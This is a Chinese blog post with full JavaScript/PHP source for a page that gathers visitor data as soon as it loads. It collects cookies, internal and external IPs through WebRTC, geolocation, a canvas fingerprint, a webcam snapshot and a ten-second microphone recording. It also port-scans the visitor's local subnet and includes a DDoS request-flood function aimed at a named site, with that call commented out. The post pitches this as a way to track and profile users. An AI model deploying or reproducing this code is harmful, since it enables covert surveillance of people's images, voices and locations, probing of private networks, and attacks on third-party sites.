js實現瀏覽器用戶信息收集

前言

這是一個經過html5,javascript用於收集用戶經過上網泄漏的各類信息，包括地理位置，IP地址，照片，語音，瀏覽器版本等信息。結合大數據，可實現廣告定向投放，用戶追蹤，用戶行爲分析，用戶羣體調研等一系列更人性化的服務。

json保存個體的信息數據

內網外網IP地址

內網掃描

地理位置信息

這個須要權限，用戶容許才行！

Canvas指紋

從根本上來講，每一種瀏覽器都會使用不一樣的圖像處理引擎，不一樣的導出選項，不一樣的壓縮等級，因此每一臺電腦繪製出的圖形都會有些許不一樣，這些圖案能夠被用來給用戶設備分配特定編號（指紋），也就是說能夠用來識別不一樣用戶。

獲取用戶頭像

這個結合人臉識別還能夠判斷性別，年齡等敏感信息。

精肯定位

根據IP地址和經緯度。

DDos

需跨域

操做系統,設備型號

固然要詳細判斷操做系統版本，這個至關粗糙有待完善。

更新：新加詳細的判斷

錄音

錄音10秒鐘，用blob保存爲wav格式。

網絡測速

提供兩種方式測速：圖片測速和音頻測速。

未完待續

更多...

完整代碼

/*
<?php

if (isset($_GET['lat'])) {

    // 根據經緯度判斷詳細位置
    $lat=$_GET['lat'];
    $lon=$_GET['lon'];
    // 百度經緯度查詢地址
    // 請求方式：GET
    // 默認返回json
    $url='http://lbs.juhe.cn/api/getaddressbylngb?lngx='.$lon.'&lngy='.$lat;
    $result=file_get_contents($url);
    $json=json_decode($result);
    exit($json->row->result->formatted_address);
}

$IP=$_SERVER[REMOTE_ADDR];
$USER_AGENT=$_SERVER[HTTP_USER_AGENT];

// 根據ip查詢位置
$url='http://ip.taobao.com/service/getIpInfo.php?ip='.$IP;
$result=file_get_contents($url);
$json=json_decode($result);

$COUNTRY=$json->data->country;
$REGION=$json->data->region;
$CITY=$json->data->city;

?>
*/

var info={ ip:null, inner_ip:null, intranet: [], /* ip_addr:{ country:'<?=$COUNTRY?>', region:'<?=$REGION?>', city:'<?=$CITY?>', }, */ agent:null, geo:{ support:null, error_code:null, lat:null, lon:null, address:null, }, cookie:null, time:null, canvas_id:null, selfie:null, platform:null, device:null, window_screen:null, blob:null, download_speed:null, }; info.cookie=document.cookie; info.time=(new Date()).toString(); info.agent=navigator.userAgent; function ajax(url,foo){ var xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function(){ if (xmlhttp.readyState==4 && xmlhttp.status==200) { foo(xmlhttp.responseText); }; }; xmlhttp.open('GET',url,true); xmlhttp.send(); } function bin2hex(bin){ var i=0, l=bin.length,chr,hex=''; for (i; i < l; ++i){ chr=bin.charCodeAt(i).toString(16); hex+=chr.length<2 ? '0'+chr : chr; } return hex; } function detectOS(){ var sUserAgent=navigator.userAgent; var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows"); var isMac = (navigator.platform == "Mac68K") || (navigator.platform == "MacPPC") || (navigator.platform == "Macintosh") || (navigator.platform == "MacIntel"); if (isMac) return "Mac"; var bIsIpad = sUserAgent.match(/ipad/i) == "ipad"; if (bIsIpad) return "iPad"; var isUnix = (navigator.platform == "X11") && !isWin && !isMac; if (isUnix) return "Unix"; var isLinux = (String(navigator.platform).indexOf("Linux") > -1); var bIsAndroid = sUserAgent.toLowerCase().match(/android/i) == "android"; if (isLinux) { if(bIsAndroid) return "Android"; else return "Linux"; } var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce"; if (bIsCE) return "WinCE"; var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsWM) return "WinMobile"; if (isWin) { var isWin2K = sUserAgent.indexOf("Windows NT 5.0") > -1 || sUserAgent.indexOf("Windows 2000") > -1; if (isWin2K) return "Win2000"; var isWinXP = sUserAgent.indexOf("Windows NT 5.1") > -1 || sUserAgent.indexOf("Windows XP") > -1; if (isWinXP) return "WinXP"; var isWin2003 = sUserAgent.indexOf("Windows NT 5.2") > -1 || sUserAgent.indexOf("Windows 2003") > -1; if (isWin2003) return "Win2003"; var isWinVista= sUserAgent.indexOf("Windows NT 6.0") > -1 || sUserAgent.indexOf("Windows Vista") > -1; if (isWinVista) return "WinVista"; var isWin7 = sUserAgent.indexOf("Windows NT 6.1") > -1 || sUserAgent.indexOf("Windows 7") > -1; if (isWin7) return "Win7"; var isWin8 = sUserAgent.indexOf("Windows NT 6.2") > -1 || sUserAgent.indexOf("Windows 8") > -1; if (isWin8) return "Win8"; } return "Unknow"; } function send_info(){ var jsonText=JSON.stringify(info); console.log(jsonText); } // 獲取屏幕分辨率的寬高,並判斷操做系統,設備型號 function device_platform(){ info.platform=detectOS(); info.window_screen=String(window.screen.width)+'x'+String(window.screen.height); } // 拍照 // Need to request permission function selfie(){ window.URL = window.URL || window.webkitURL; navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; // 建立video元素 var video=document.createElement('video'), videoObj={'video':true}, errBack=function(error){ console.log('Video capture error: ',error.name); info.selfie=error.name; }; // 獲取媒體 if(navigator.getUserMedia){ navigator.getUserMedia(videoObj,function(stream){ video.src=window.URL.createObjectURL(stream); video.play(); video.onloadedmetadata = function(e) { setTimeout(function(){ if(info.selfie==null){ // 截取圖片 var canvas=document.createElement('canvas'), ctx=canvas.getContext('2d'); canvas.width=640; canvas.height=480; ctx.drawImage(video,0,0,640,480); var image=canvas.toDataURL('image/png'); info.selfie=image; console.log('Take selfie successful!'); // 關閉攝像頭 stream.stop(); video.src=''; }; },3000); }; },errBack); } } // 錄音 // Need to request permission function voice_record(){ window.URL=window.URL || window.webkitURL; navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; window.AudioContext=window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext; var HZRecorder=function(stream,config){ config=config || {}; // 採樣數8位 config.sampleBits=config.sampleBits || 8; // 採樣率(1/6 44100) config.sampleRate=config.sampleRate || (44100/6); var context=new window.AudioContext(); var audioInput=context.createMediaStreamSource(stream); var recorder=context.createScriptProcessor(4096,1,1); var audioData={ size:0, // 錄音文件長度 buffer:[], // 錄音緩存 inputSampleRate:context.sampleRate, // 輸入採樣率 inputSampleBits:16, // 輸入採樣數位 16 outputSampleRate:config.sampleRate, // 輸出採樣率 oututSampleBits:config.sampleBits, // 輸出採樣數位 8 input:function(data){ this.buffer.push(new Float32Array(data)); this.size+=data.length; }, //合併壓縮 compress:function(){ //合併 var data=new Float32Array(this.size); var offset=0; for (var i=0; i<this.buffer.length; i++){ data.set(this.buffer[i],offset); offset+=this.buffer[i].length; } //壓縮 var compression=parseInt(this.inputSampleRate / this.outputSampleRate); var length=data.length / compression; var result=new Float32Array(length); var index=0,j=0; while (index<length){ result[index]=data[j]; j+=compression; index++; } return result; }, encodeWAV:function(){ var sampleRate=Math.min(this.inputSampleRate, this.outputSampleRate); var sampleBits=Math.min(this.inputSampleBits, this.oututSampleBits); var bytes=this.compress(); var dataLength=bytes.length*(sampleBits/8); var buffer=new ArrayBuffer(44+dataLength); var data=new DataView(buffer); // 單聲道 var channelCount=1; var offset=0; var writeString=function(str){ for (var i=0; i<str.length; i++){ data.setUint8(offset+i, str.charCodeAt(i)); } }; // 資源交換文件標識符 writeString('RIFF'); offset+=4; // 下個地址開始到文件尾總字節數,即文件大小-8 data.setUint32(offset, 36+dataLength, true); offset += 4; // WAV文件標誌 writeString('WAVE'); offset+=4; // 波形格式標誌 writeString('fmt '); offset+=4; // 過濾字節,通常爲 0x10 = 16 data.setUint32(offset, 16, true); offset+=4; // 格式類別 (PCM形式採樣數據) data.setUint16(offset, 1, true); offset+=2; // 通道數 data.setUint16(offset, channelCount, true); offset+=2; // 採樣率,每秒樣本數,表示每一個通道的播放速度 data.setUint32(offset, sampleRate, true); offset+=4; // 波形數據傳輸率 (每秒平均字節數) 單聲道×每秒數據位數×每樣本數據位/8 data.setUint32(offset, channelCount * sampleRate * (sampleBits / 8), true); offset += 4; // 快數據調整數 採樣一次佔用字節數 單聲道×每樣本的數據位數/8 data.setUint16(offset, channelCount * (sampleBits / 8), true); offset += 2; // 每樣本數據位數 data.setUint16(offset, sampleBits, true); offset+=2; // 數據標識符 writeString('data'); offset+=4; // 採樣數據總數,即數據總大小-44 data.setUint32(offset, dataLength, true); offset+=4; // 寫入採樣數據 if(sampleBits===8){ for (var i=0; i<bytes.length; i++,offset++) { var s=Math.max(-1, Math.min(1, bytes[i])); var val=s<0 ? s*0x8000 : s*0x7FFF; val=parseInt(255 / (65535 / (val+32768))); data.setInt8(offset,val,true); } } else{ for (var i=0; i<bytes.length; i++,offset+=2) { var s=Math.max(-1, Math.min(1, bytes[i])); data.setInt16(offset, s<0 ? s*0x8000 : s*0x7FFF, true); } } return new Blob([data], {type:'audio/wav'}); } }; // 音頻採集 recorder.onaudioprocess=function(e){ audioData.input(e.inputBuffer.getChannelData(0)); } // 開始錄音 this.start=function(){ audioInput.connect(recorder); recorder.connect(context.destination); } // 中止錄音 this.stop=function(){ stream.stop(); recorder.disconnect(); } // 獲取音頻文件 this.getBlob=function(){ this.stop(); return audioData.encodeWAV(); } }; // 拋出異常 HZRecorder.throwError=function(message){ console.log(message); throw new function () { this.toString = function () { return message; } } } // 是否支持錄音 HZRecorder.canRecording=(navigator.getUserMedia != null); // 獲取錄音機 HZRecorder.get=function (callback,config){ if (callback){ if (navigator.getUserMedia){ navigator.getUserMedia( {audio:true}, function (stream){ var rec = new HZRecorder(stream, config); callback(rec); }, function (error){ switch (error.code || error.name) { case 'PERMISSION_DENIED': case 'PermissionDeniedError': HZRecorder.throwError('用戶拒絕提供信息'); break; case 'NOT_SUPPORTED_ERROR': case 'NotSupportedError': HZRecorder.throwError('瀏覽器不支持硬件設備'); break; case 'MANDATORY_UNSATISFIED_ERROR': case 'MandatoryUnsatisfiedError': HZRecorder.throwError('沒法發現指定的硬件設備'); break; default: HZRecorder.throwError('沒法打開麥克風。異常信息:' + (error.code || error.name)); break; } }); } else{ HZRecorder.throwErr('當前瀏覽器不支持錄音功能。'); return; } } }; window.HZRecorder=HZRecorder; var recorder; HZRecorder.get(function (rec) { recorder=rec; recorder.start(); }); // 錄音10s setTimeout(function(){ var blob=recorder.getBlob(); info.blob=blob; console.log('voice record finished.'); },10000); } // DDos攻擊 function DDos(site){ // CSRF setInterval(ajax(site,function(){ console.log('DDos ',site); }),50); } // 獲取IP地址，第一個是內網ip，第二個是外網ip function getIPs(callback){ var ip_dups = {}; var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var mediaConstraints = { optional: [{RtpDataChannel: true}] }; var servers = undefined; var i = 0; if(window.webkitRTCPeerConnection) servers = {iceServers: [{urls:"stun:stun.services.mozilla.com"}]}; var pc = new RTCPeerConnection(servers, mediaConstraints); pc.onicecandidate = function(ice){ if(ice.candidate){ var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/ var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; if (ip_dups[ip_addr] === undefined) callback(ip_addr, i++); ip_dups[ip_addr] = true; } }; pc.createDataChannel(""); pc.createOffer(function(result){ pc.setLocalDescription(result, function(){}); }, function(){}); } function get_ip_addr(){ getIPs(function(ip, i){ if(i == 0) info.inner_ip = ip; else if(i == 1) info.ip = ip; }); } // 內網掃描 function intranet_scan(){ // 常見端口 var ports = [21,22,23,25,43,80,110,137,138,139,161,170,220,443,3306,8080]; var body = document.getElementsByTagName("body")[0]; getIPs(function(ip, id){ if (id == 0) { ip = ip.split("."); ip.pop(); ip = ip.join("."); for (var i = 1; i < 255; i++) { for (var p of ports) { var script = document.createElement("script"); var host = ip + "." + i + ":" + p; script.src = "http://" + host; script.onload = "info.intranet.push('"+host+"')"; body.appendChild(script); } } } }); } // 利用canvas定位惟一標識 function canvas_id(){ var canvas=document.createElement('canvas'); var ctx=canvas.getContext('2d'); var txt='http://eular.github.io'; ctx.textBaseline='top'; ctx.font="14px 'Arial'"; ctx.fillStyle='#0ff'; ctx.fillRect(0,0,140,50); ctx.fillStyle='#00f'; ctx.fillText(txt,2,15); ctx.fillStyle='rgba(102,204,0,0.7)'; ctx.fillText(txt,4,17); var b64=canvas.toDataURL().replace('data:image/png;base64,',''); var bin=atob(b64); var crc=bin2hex(bin.slice(-16,-12)); console.log('Canvas id: '+crc); info.canvas_id=crc; } // 獲取地理位置 function get_geolocation(){ // check for Geolocation support function check_geolocation_support(){ if (navigator.geolocation){ console.log('Geolocation is supported!'); return true; } else{ console.log('Geolocation is not supported for this Browser/OS version yet.'); return false; } } if (check_geolocation_support()) { info.geo.support=true; var geoOptions={ maximumAge:5*60*1000, timeout:10*1000, enableHighAccuracy:true } var geoSuccess=function(position){ info.geo.lat=position.coords.latitude; info.geo.lon=position.coords.longitude; console.log('Success get geolocation!'); // 根據經緯度判斷詳細位置 url='<?=$_SERVER[PHP_SELF]?>?lat='+info.geo.lat+'&lon='+info.geo.lon; ajax(url,function(addr){ info.geo.address=addr; }); }; var geoError=function(error){ info.geo.error_code=error.code; console.log('Error occurred. Error code:'+error.code); //error.code: // 0: 未知錯誤 // 1: 權限不足 // 2: 位置錯誤(位置供應商出錯) // 3: 超時 }; navigator.geolocation.getCurrentPosition(geoSuccess,geoError,geoOptions); } else{ info.geo.support=false; }; } // 網絡測速 function network_speed(){ // 圖片測速 var image=new Image(); // 圖片大小: 1232.7kb size=1232.7; image.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/test.jpg'; startTime=new Date().getTime(); // 圖片加載完畢 image.onload=function(){ endTime=new Date().getTime(); // kb/s speed=size/((endTime-startTime)/1000); // 保留一位小數 speed=parseInt(speed*10)/10; info.download_speed=speed+'kb/s'; console.log('Download speed testing finished!'); } /* // 音頻測速 var audio=new Audio(); // 大小: 1.3M size=1235.87; audio.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/ValderFields.mp3'; audio.volume=0; audio.play(); startTime=new Date().getTime(); var timer; timer=setInterval(function(){ if (audio.networkState==1) { endTime=new Date().getTime(); speed=size/((endTime-startTime)/1000); speed=parseInt(speed*10)/10; info.download_speed=speed+'kb/s'; console.log('Download speed testing finished!'); audio.stop(); clearInterval(timer); }; },100); */ } window.onload=function(){ device_platform(); get_ip_addr(); intranet_scan(); canvas_id(); selfie(); get_geolocation(); network_speed(); voice_record(); //DDos('http://baidu.com'); };